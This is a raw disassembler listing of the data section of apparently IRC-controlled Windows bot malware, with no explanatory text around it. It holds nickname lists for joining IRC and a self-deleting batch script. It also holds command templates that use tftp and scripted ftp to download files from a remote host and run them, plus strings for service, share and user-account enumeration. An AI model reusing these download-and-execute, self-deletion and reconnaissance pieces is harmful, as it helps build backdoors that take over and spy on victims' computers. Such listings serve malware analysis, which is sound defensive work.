aTrend3		db 'trend3',0           ; DATA XREF: seg002:0044CCE4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: seg002:0044CCE8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: seg002:0044CCECo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: seg002:0044CCF0o
		align 4
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: seg002:0044CCF4o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: seg002:0044CCF8o
aArzu		db 'ARZU',0             ; DATA XREF: seg002:0044CCFCo
		align 10h
aHaticem	db 'haticem',0          ; DATA XREF: seg002:0044CD00o
aErnesto	db 'ERNESTO',0          ; DATA XREF: seg002:0044CD04o
aAslii		db 'aslii',0            ; DATA XREF: seg002:0044CD08o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: seg002:0044CD0Co
aSamyeli21	db 'samyeli21',0        ; DATA XREF: seg002:0044CD10o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: seg002:0044CD14o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: seg002:0044CD18o
		align 10h
aPelincik	db 'pelincik',0         ; DATA XREF: seg002:0044CD1Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: seg002:0044CD20o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: seg002:0044CD24o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: seg002:0044CD28o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: seg002:0044CD2Co
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: seg002:0044CD30o
		align 4
aAlbina		db 'albina',0           ; DATA XREF: seg002:0044CD34o
		align 10h
aAyla		db 'AYLA-',0            ; DATA XREF: seg002:0044CD38o
		align 4
off_44D328	dd offset byte_457441	; DATA XREF: seg002:0044CD3Co
aAnkh		db 'ankh',0             ; DATA XREF: seg002:0044CD40o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: seg002:0044CD44o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: seg002:0044CD48o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: seg002:0044CD4Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: seg002:0044CD50o
		align 10h
aDenizlim	db 'DenizliM',0         ; DATA XREF: seg002:0044CD54o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: seg002:0044CD58o
aDevran		db 'devran',0           ; DATA XREF: seg002:0044CD5Co
		align 4
aArda		db 'arda',0             ; DATA XREF: seg002:0044CD60o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: seg002:0044CD64o
aMurat34M	db 'murat34-m',0        ; DATA XREF: seg002:0044CD68o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: seg002:0044CD6Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: seg002:0044CD70o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: seg002:0044CD74o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: seg002:0044CD78o
		align 10h
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: seg002:0044CD7Co
		align 4
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: seg002:0044CD80o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: seg002:0044CD84o
aFlord		db 'FLoRD',0            ; DATA XREF: seg002:0044CD88o
		align 4
aHoly		db 'holy',0             ; DATA XREF: seg002:0044CD8Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: seg002:0044CD90o
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: seg002:0044CD94o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: seg002:0044CD98o
		align 10h
aKashmira	db 'Kashmira',0         ; DATA XREF: seg002:0044CD9Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: seg002:0044CDA0o
		align 4
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: seg002:0044CDA4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: seg002:0044CDA8o
aKumul		db 'kumul',0            ; DATA XREF: seg002:0044CDACo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: seg002:0044CDB0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: seg002:0044CDB4o
		align 4
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: seg002:0044CDB8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: seg002:0044CDBCo
aAnkar		db 'Ankar',0            ; DATA XREF: seg002:0044CDC0o
		align 10h
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: seg002:0044CDC4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: seg002:0044CDC8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: seg002:0044CDCCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: seg002:0044CDD0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: seg002:0044CDD4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: seg002:0044CDD8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: seg002:0044CDDCo
		align 4
aSevda		db 'sevda',0            ; DATA XREF: seg002:0044CDE0o
		align 4
off_44D4BC	dd offset byte_4B5245	; DATA XREF: seg002:0044CDE4o
aAlcatras	db 'alcatras',0         ; DATA XREF: seg002:0044CDE8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: seg002:0044CDECo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: seg002:0044CDF0o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: seg002:0044CDF4o
		align 4
aDevre		db 'devre',0            ; DATA XREF: seg002:0044CDF8o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: seg002:0044CDFCo
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: seg002:0044CE00o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: seg002:0044CE04o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: seg002:0044CE08o
		align 10h
aM41ist		db 'M41IST',0           ; DATA XREF: seg002:0044CE0Co
		align 4
aAdamm33	db 'AdAMM33',0          ; DATA XREF: seg002:0044CE10o
aFirtina	db 'firtina',0          ; DATA XREF: seg002:0044CE14o
aAta29		db 'Ata29',0            ; DATA XREF: seg002:0044CE18o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: seg002:0044CE1Co
		align 4
aAkden		db 'akden',0            ; DATA XREF: seg002:0044CE20o
		align 10h
aIzmirlm	db 'izmirlm',0          ; DATA XREF: seg002:0044CE24o
aUla		db 'ula',0              ; DATA XREF: seg002:0044CE28o
aNeHaber	db 'NE-HABER',0         ; DATA XREF: seg002:0044CE2Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: seg002:0044CE30o
		align 4
aTropikal	db 'tropikal',0         ; DATA XREF: seg002:0044CE34o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: seg002:0044CE38o
aCem39		db 'cem39',0            ; DATA XREF: seg002:0044CE3Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: seg002:0044CE40o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: seg002:0044CE44o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: seg002:0044CE48o
		align 10h
aPrometheus	db 'prometheus',0       ; DATA XREF: seg002:0044CE4Co
		align 4
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: seg002:0044CE50o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: seg002:0044CE54o
		align 10h
aCumhur29	db 'cumhur29',0         ; DATA XREF: seg002:0044CE58o
		align 4
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: seg002:0044CE5Co
		align 4
aSex_0		db 'sex',0              ; DATA XREF: seg002:off_44CE60o
aLez		db 'lez',0              ; DATA XREF: seg002:0044CE64o
aZex		db 'zex',0              ; DATA XREF: seg002:0044CE68o
aTree		db 'tree',0             ; DATA XREF: seg002:0044CE6Co
		align 4
aBad		db 'bad',0              ; DATA XREF: seg002:0044CE70o
aLag		db 'lag',0              ; DATA XREF: seg002:0044CE74o
aTambe		db '|tambe|',0          ; DATA XREF: seg002:0044CE78o
aWoh		db '|woh|',0            ; DATA XREF: seg002:0044CE7Co
		align 4
aTot		db '-|tot|',0           ; DATA XREF: seg002:0044CE80o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: seg002:0044CE84o
		align 4
aLuck		db '|luck|',0           ; DATA XREF: seg002:0044CE88o
		align 4
aHub		db '{hub}',0            ; DATA XREF: seg002:0044CE8Co
		align 4
aSex_1		db '{sex}',0            ; DATA XREF: seg002:0044CE90o
		align 4
aGens		db '{gens|',0           ; DATA XREF: seg002:0044CE94o
		align 4
aLuvuF		db '||luvu-f|',0        ; DATA XREF: seg002:0044CE98o
		align 10h
aWiked		db '|wiked|',0          ; DATA XREF: seg002:0044CE9Co
aSick		db 'sick}}',0           ; DATA XREF: seg002:0044CEA0o
		align 10h
aQ8		db 'Q8',0               ; DATA XREF: seg002:0044CEA4o
		align 4
aQ8A		db '|q8|a',0            ; DATA XREF: seg002:0044CEA8o
		align 4
aB:					; DATA XREF: seg002:0044CEACo
		unicode	0, <b>,0
aC_6:					; DATA XREF: seg002:0044CEB0o
		unicode	0, <c>,0
aD_3:					; DATA XREF: seg002:0044CEB4o
		unicode	0, <d>,0
aE_0:					; DATA XREF: seg002:0044CEB8o
		unicode	0, <e>,0
aF:					; DATA XREF: seg002:0044CEBCo
		unicode	0, <f>,0
aG:					; DATA XREF: seg002:0044CEC0o
		unicode	0, <g>,0
asc_44D674:				; DATA XREF: seg002:0044CEC4o
		unicode	0, <h>,0
aI_1:					; DATA XREF: seg002:0044CEC8o
		unicode	0, <i>,0
a__5:					; DATA XREF: seg002:0044CECCo
		unicode	0, <_>,0
aJ_1:					; DATA XREF: seg002:0044CED0o
		unicode	0, <j>,0
aK_0:					; DATA XREF: seg002:0044CED4o
		unicode	0, <k>,0
asc_44D688:				; DATA XREF: seg002:0044CED8o
		unicode	0, <l>,0
aM_2:					; DATA XREF: seg002:0044CEDCo
		unicode	0, <m>,0
aN_0:					; DATA XREF: seg002:0044CEE0o
		unicode	0, <n>,0
aO_0:					; DATA XREF: seg002:0044CEE4o
		unicode	0, <o>,0
aP_0:					; DATA XREF: seg002:0044CEE8o
		unicode	0, <p>,0
aQ_0:					; DATA XREF: seg002:0044CEECo
		unicode	0, <q>,0
aRs		db 'rs',0               ; DATA XREF: seg002:0044CEF0o
		align 4
aT_0:					; DATA XREF: seg002:0044CEF4o
		unicode	0, <t>,0
aU_0:					; DATA XREF: seg002:0044CEF8o
		unicode	0, <u>,0
aV:					; DATA XREF: seg002:0044CEFCo
		unicode	0, <v>,0
aW:					; DATA XREF: seg002:0044CF00o
		unicode	0, <w>,0
asc_44D6B4:				; DATA XREF: seg002:0044CF04o
		unicode	0, <x>,0
aY:					; DATA XREF: seg002:0044CF08o
		unicode	0, <y>,0
aZ:					; DATA XREF: seg002:0044CF0Co
		unicode	0, <z>,0
aHappy		db 'happy',0            ; DATA XREF: seg002:0044CF10o
		align 4
aRg		db 'rg',0               ; DATA XREF: seg002:0044CF14o
		align 4
aTy		db 'ty',0               ; DATA XREF: seg002:0044CF18o
		align 10h
aGf		db 'gf',0               ; DATA XREF: seg002:0044CF1Co
		align 4
aRt		db 'rt',0               ; DATA XREF: seg002:0044CF20o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: seg002:0044CF24o
aUi		db 'ui',0               ; DATA XREF: seg002:0044CF28o
		align 10h
aLuvy		db 'luvy',0             ; DATA XREF: seg002:0044CF2Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: seg002:0044CF30o
		align 10h
aTruck		db 'truck',0            ; DATA XREF: seg002:0044CF34o
		align 4
aMuckc		db 'muckc',0            ; DATA XREF: seg002:0044CF38o
		align 10h
aZ_0:					; DATA XREF: seg002:0044CF3Co
		unicode	0, <z>,0
aG_0:					; DATA XREF: seg002:0044CF40o
		unicode	0, <g>,0
aS_33:					; DATA XREF: seg002:0044CF44o
		unicode	0, <s>,0
aQ_1:					; DATA XREF: seg002:0044CF48o
		unicode	0, <q>,0
off_44D710	dd offset loc_42523D+5	; DATA XREF: seg002:0044CF4Co
dword_44D714	dd 6C62627Ch, 0	dword_44D71C	dd 5F7C5Fh	dword_44D720	dd 46h		dword_44D724	dd 4Dh		aLuvu		db 'LUVU',0             ; DATA XREF: seg002:0044CF78o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: seg002:0044CF7Co
aF_0		db '^^^f^',0            ; DATA XREF: seg002:0044CF80o
		align 4
aB_0:					; DATA XREF: seg002:0044CF84o
		unicode	0, <b>,0
aSleeping	db 'Sleeping',0         ; DATA XREF: seg002:0044CF8Co
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: seg002:0044CF98o
		align 4
aFree_0		db 'Free',0             ; DATA XREF: seg002:0044CF9Co
		align 4
asc_44D75C:				; DATA XREF: seg002:0044CFA8o
		unicode	0, <X>,0
aBoy		db 'BOY',0              ; DATA XREF: seg002:0044CFB0o
aGirl_0		db 'GIRL',0             ; DATA XREF: seg002:0044CFB4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: seg002:0044CFB8o
		align 4
aShit		db 'shit',0             ; DATA XREF: seg002:0044CFBCo
		align 4
aAha		db 'aha',0              ; DATA XREF: seg002:0044CFC0o
aYeah		db 'yeah',0             ; DATA XREF: seg002:0044CFC4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: seg002:0044CFC8o
		align 10h
aMof0		db 'mof0',0             ; DATA XREF: seg002:0044CFCCo
		align 4
aMofo		db 'mofo',0             ; DATA XREF: seg002:0044CFD0o
		align 10h
aTot_0		db 'tot',0              ; DATA XREF: seg002:0044CFD4o
aLol		db 'lol',0              ; DATA XREF: seg002:0044CFD8o
aLoloA		db 'lolo|a|',0          ; DATA XREF: seg002:0044CFDCo
aSex4free	db '|sex4free|',0       ; DATA XREF: seg002:0044CFE0o
		align 4
a4us		db '|4us|',0            ; DATA XREF: seg002:0044CFE4o
		align 4
a4you		db '{4you}',0           ; DATA XREF: seg002:0044CFE8o
		align 4
a4u		db '|4u|',0             ; DATA XREF: seg002:0044CFECo
		align 4
a5u		db '5u',0               ; DATA XREF: seg002:0044CFF0o
		align 4
a6u		db '6u',0               ; DATA XREF: seg002:0044CFF4o
		align 4
asc_44D7DC:				; DATA XREF: seg000:00416DC6o
		dw 0Ah
		unicode	0, <>,0
asc_44D7E0:				; DATA XREF: sub_416E07+Co
		unicode	0, < >,0
asc_44D7E4:				; DATA XREF: sub_416E07:loc_416E2Do
		unicode	0, < >,0
aPing_2		db 'PING',0             ; DATA XREF: sub_416E07+52o
		align 10h
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_416E07+69o
		align 4
a433		db '433',0              ; DATA XREF: sub_416E07:loc_416E80o
a432		db '432',0              ; DATA XREF: sub_416E07+8Ao
aNickS_3	db 'NICK %s',0Ah,0      ; DATA XREF: sub_416E07+C5o
		align 10h
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_416F00+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__1		db '-|`_\{[]}',0        ; DATA XREF: sub_417120+BCo
					; sub_417120+175r ...
		align 4
dword_44D84C	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44D898	dd 3000005h, 10h, 18h, 1, 3 dup(0)dword_44D8B4	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_417569+118o
dword_44D8C8	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_417569+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: seg000:004179A7o
		align 10h
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_4179FA+5o
		align 4
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_4179FA+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: seg000:00417A9Bo
		align 10h
aSS_5		db '%s %s',0            ; DATA XREF: seg000:00417B65o
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_417BA1+2o
aSdel_bat	db '%sdel.bat',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
dword_44D994	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00417DA7o
		dd 267021Fh, 2C313003h,	3A353103h, 25203203h, 34032073h
		dd 6F026C02h, 43022067h, 61656C02h, 646572h
dword_44D9CC	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00417DDAo
		dd 267021Fh, 2C313003h,	3A353103h, 2203203h, 69610246h
		dd 2064656Ch, 69025702h, 2206874h, 72720245h, 220726Fh
		dd 646F0243h, 20340365h, 6425h
dword_44DA14	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 6F1F026Ch
					; DATA XREF: seg000:00417DE7o
		dd 267021Fh, 2C313003h,	3A353103h, 2203203h, 6570024Fh
		dd 69746172h, 220676Eh,	73790253h, 206D6574h, 2207369h
		dd 746F024Eh, 2530220h,	6F707075h, 64657472h, 0
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_417E0E+9Do
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_417E0E+C6o
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: seg000:00417F96o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: seg000:00417FA3o
		align 10h
off_44DB00	dd offset dword_44DB54	; DATA XREF: sub_41805B+6Dr
					; sub_41843F+50r ...
off_44DB04	dd offset aAdded	; DATA XREF: sub_41805B+2Dr
					; sub_41843F+82r ...
					; "Added"
dword_44DB08	dd 0				dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		dd 0
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 44DBA0h, 44DBA8h,	2, 44DBB0h, 44DBBCh, 3
dword_44DB54	dd 646441h	aAdded		db 'Added',0            ; DATA XREF: seg002:off_44DB04o
		align 10h
aDelete_1	db 'Delete',0           ; DATA XREF: seg002:0044DB0Co
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: seg002:0044DB10o
aList_1		db 'List',0             ; DATA XREF: seg002:0044DB18o
		align 4
aListed		db 'Listed',0           ; DATA XREF: seg002:0044DB1Co
		align 10h
aStart_0	db 'Start',0            ; DATA XREF: seg002:0044DB24o
		align 4
aStarted	db 'Started',0          ; DATA XREF: seg002:0044DB28o
aStop_0		db 'Stop',0             ; DATA XREF: seg002:0044DB30o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: seg002:0044DB34o
aPause_0	db 'Pause',0
		align 4
aPaused		db 'Paused',0
		align 10h
aContinue_0	db 'Continue',0
		align 4
aContinued	db 'Continued',0
		align 4
unk_44DBC8	db    2			; DATA XREF: sub_41805B+38o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SServiceS	db '2 %s service: ',27h,'%s',27h,0
unk_44DBFC	db    2			; DATA XREF: sub_41805B+55o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ErrorWithServ	db '2 error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_44DC40	db    2			; DATA XREF: sub_41805B+74o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SNoServiceSpe	db '2 %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418184:loc_41825Do
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418184:loc_4181DEo
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418184+3Co
		align 10h
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418184:loc_4181D4o
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418184:loc_4181E8o
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418184:loc_418232o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418184+8Fo
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418184:loc_418264o
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418184:loc_41826Bo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418184:loc_418272o
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418184:loc_418279o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418184:loc_418280o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418184:loc_418287o
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418184:loc_41821Do
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418184:loc_418224o
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418184:loc_4181F2o
		db 'dependent on it.',0
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418184:loc_4181CAo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418184:loc_41822Bo
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418184:loc_41828Eo
		db 'the state of the service.',0
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418184:loc_418295o
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418184:loc_41829Co
		align 4
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418184+12Co
		align 4
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418302+25o
		align 4
aStopped	db '    Stopped',0      ; DATA XREF: sub_418302:loc_4183CEo
aStarting	db '   Starting',0      ; DATA XREF: sub_418302:loc_4183C7o
aStoping	db '    Stoping',0      ; DATA XREF: sub_418302:loc_4183C0o
aRunning	db '    Running',0      ; DATA XREF: sub_418302:loc_4183B9o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418302:loc_4183B2o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418302:loc_4183ABo
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418302:loc_4183A4o
aUnknown_1	db '    Unknown',0      ; DATA XREF: sub_418302+9Bo
aSSS_2		db '%s: %s (%s)',0      ; DATA XREF: sub_418302+EBo
dword_44E1B4	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 651F024Eh
					; DATA XREF: sub_41843F+89o
		dd 254021Fh, 2C313003h,	3A353103h, 25203203h, 68732073h
		dd 3A657261h, 73252720h, 27h
unk_44E1E8	db    2			; DATA XREF: sub_41843F+57o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SErrorWithSha	db '2 %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
unk_44E22C	db    2			; DATA XREF: sub_41843F+ABo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SNoShareSpeci	db '2 %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418634+26o
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_418634+B5o
aNo		db 'No',0               ; DATA XREF: sub_418634+BCo
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418634+D0o
		align 10h
unk_44E2C0	db    2			; DATA XREF: sub_418634+76o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2ShareListErro	db '2 Share list Error %s <%ld>',0
		align 10h
unk_44E300	db    2			; DATA XREF: sub_418755+6Do
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SUsernameS	db '2 %s username: ',27h,'%s',27h,0
		align 4
unk_44E338	db    2			; DATA XREF: sub_418755+94o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SErrorWithUse	db '2 %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_44E380	db    2			; DATA XREF: sub_418755+B6o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  4Eh	; N
		db 2, 1Fh, 65h
		db  1Fh
		db 2, 54h, 2
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	35h, 3Ah
		db    3
a2SNoUsernameSp	db '2 %s: no username specified',0
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_41889B+50o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_41889B+81o
		align 4
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_41889B+ACo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_41889B+D4o
aGuest		db 'Guest',0            ; DATA XREF: sub_41889B:loc_4189B4o
		align 4
aUser_3		db 'User',0             ; DATA XREF: sub_41889B:loc_4189ADo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_41889B:loc_4189A6o
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_41889B+104o
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_41889B+125o
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_41889B+14Do
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_41889B+178o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_41889B+1A0o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_41889B+1CBo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_41889B+1F3o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_41889B+21Eo
		align 10h
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_41889B+246o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_41889B+271o
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_41889B+299o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_41889B+2C4o
